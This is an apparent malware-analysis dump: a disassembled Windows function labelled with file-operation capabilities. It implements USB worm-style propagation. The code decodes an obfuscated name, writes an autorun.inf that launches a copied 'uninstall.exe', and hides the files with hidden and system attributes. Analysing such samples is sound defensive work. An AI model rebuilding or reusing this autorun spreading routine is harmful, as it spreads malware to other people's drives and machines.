Function at 0x40ea5c
Capabilities:
Check if file exists
Create directory
Delete directory
Delete file
Get file attributes
Get file size
Move file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1440
call fcn.0040fc90
and dword [ebp - 0x110], 0
or dword [ebp - 0x21c], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 0x220], eax
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 0x10c], eax
movsx eax, byte [0x4130a4]
cmp eax, 0xffffffdb
jne 0x40eaec
and dword [ebp - 0xb2c], 0
jmp 0x40eaaf
mov eax, dword [ebp - 0xb2c]
inc eax
mov dword [ebp - 0xb2c], eax
cmp dword [ebp - 0xb2c], 0x2e
jae 0x40ead8
mov eax, dword [ebp - 0xb2c]
movsx eax, byte [eax + 0x4130a4]
xor eax, 0xa9
mov ecx, dword [ebp - 0xb2c]
mov byte [ecx + 0x4130a4], al
jmp 0x40eaa2
push 0xf9
push 0xa0
push section..data
call fcn.00402380
push 0x104
push 0
lea eax, [ebp - 0xb28]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push str._sautorun.inf
lea eax, [ebp - 0xb28]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x4130a4
push dword [ebp + 8]
push str._s_s
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x104
push 0
lea eax, [ebp - 0x218]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.uninstall.exe
lea eax, [ebp - 0x108]
push eax
push 0x4103c4
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x800
push 0
lea eax, [ebp - 0xa20]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Show
push str.uninstall.exe
push 0x4130a4
push str.Show
push str.uninstall.exe
push 0x4130a4
push str.uninstall.exe
push 0x4130a4
push section..data
lea eax, [ebp - 0xa20]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x28
push 0x80
lea eax, [ebp - 0x218]
push eax
call dword [ebp - 0x220]
push 0x80
lea eax, [ebp - 0x108]
push eax
call dword [ebp - 0x220]
push 0x80
lea eax, [ebp - 0xb28]
push eax
call dword [ebp - 0x220]
lea eax, [ebp - 0xb28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
jne 0x40ed72
push 0x800
push 0
lea eax, [ebp - 0x1330]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xb28]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and eax, 0x10
je 0x40ec8d
call fcn.0040246e
push eax
push dword [ebp + 8]
push str._s_x
lea eax, [ebp - 0x1438]
push eax
call dword [ebp - 0x10c]
add esp, 0x10
push 1
lea eax, [ebp - 0x1438]
push eax
lea eax, [ebp - 0xb28]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x40ec8d
jmp 0x40ee84
push 0
push 0
push 3
push 0
push 1
push connect
lea eax, [ebp - 0xb28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0xffffffff
je 0x40ed72
and dword [ebp - 0x143c], 0
push 0
lea eax, [ebp - 0x143c]
push eax
push 0x7fc
lea eax, [ebp - 0x1330]
push eax
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x1330]
push eax
lea eax, [ebp - 0xa20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40ed72
push 0
push 0
push 3
push 0
push 1
push connect
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0xffffffff
je 0x40ed72
and dword [ebp - 0x1440], 0
push 0
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x1440], eax
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1440]
cmp eax, dword [0x4169a8]
jne 0x40ed72
jmp 0x40ee84
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0xb28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0xffffffff
jne 0x40eda5
jmp 0x40eeb1
push 0
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0xa20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0xa20]
push eax
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40ee0d
lea eax, [ebp - 0xb28]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40eeb1
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0xffffffff
jne 0x40ee57
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea eax, [ebp - 0xb28]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40eeb1
push 0
lea eax, [ebp - 0x110]
push eax
push dword [0x4169a8]
push dword [0x4169a4]
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 7
lea eax, [ebp - 0x218]
push eax
call dword [ebp - 0x220]
push 7
lea eax, [ebp - 0x108]
push eax
call dword [ebp - 0x220]
push 7
lea eax, [ebp - 0xb28]
push eax
call dword [ebp - 0x220]
leave
ret 4